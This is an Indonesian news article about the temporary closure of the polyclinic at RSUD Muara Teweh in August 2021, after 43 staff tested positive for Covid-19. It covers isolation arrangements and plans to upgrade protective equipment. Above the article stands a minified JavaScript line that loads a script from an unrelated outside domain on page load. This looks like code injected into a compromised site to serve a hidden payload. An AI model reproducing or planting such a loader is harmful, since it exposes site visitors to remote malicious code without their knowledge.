(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Puluhan Nakes Terpapar Covid-19, Poliklinik RS Muara Teweh Ditutup Sementara

KANALKALIMANTAN.COM, MUARA TEWEH – Direktur RSUD Muara Teweh drg Dwi Agus Setijowati mengambil kebijakan menutup sementara poliklinik, sejak 5-12 Agustus mendatang.

Hal itu dilakukan lantaran sebanyak 43 orang tenaga kesehatan (nakes) dan non nakes terkonfirmasi Covid-19. Mereka yang terpapar tak hanya nakes tapi juga manajemen, farmasi dan customer service (CS).

“Banyak yang kerja di poli. Otomatis saya harus menutup poli selama 5 hari. Tapi saya sudah izin dengan pak bupati,” kata Tinuk, panggilan akrab Dwi Agus Setijowati yang dihubungi Kanalkalimantan.com, Rabu (4/8/2021).

Bagi masyarakat yang ingin berobat, hendaknya ke puskesmas terdekat. Tetapi bagi pasien yang membutuhkan penanganan serius, tetap dilayani di Instalasi Gawat Darurat (IGD).

Kendati sudah ditawarkan agar mereka di rawat di ruang isolasi yang sudah disiapkan, ternyata mereka lebih memilih isoman.

Namun Tinuk wanti-wanti agar tidak isoman bercampur dengan keluarga agar tidak menularkan virus ini.

“Mereka bilang di gubuk di hutan dan ada yang di kebun,” ungkap Tinuk.

Menurut Tinuk, selama isoman mereka juga diberikan beras 10 kilogram, susu, telur dan minyak obat-obatan satu paket.

Tinuk menjelaskan, bahwa semua nakes telah divaksin dan bekerja menggunakan APD level dua. Tetapi nyatanya tetap bisa terpapar.

Untuk meminimalisir para nakes terpapar, Tinuk berencana akan mengganti penggunaan APD level 2 menjadi level 3. Selain itu mengenakan masker N95. Kemudian bagi nakes yang hamil trimester tiga atau usia kandungan memasuki 8 bulan, akan dirumahkan atau cuti sampai melahirkan. (kanalkalimantan.com/tri)

Reporter: tri
Editor: cell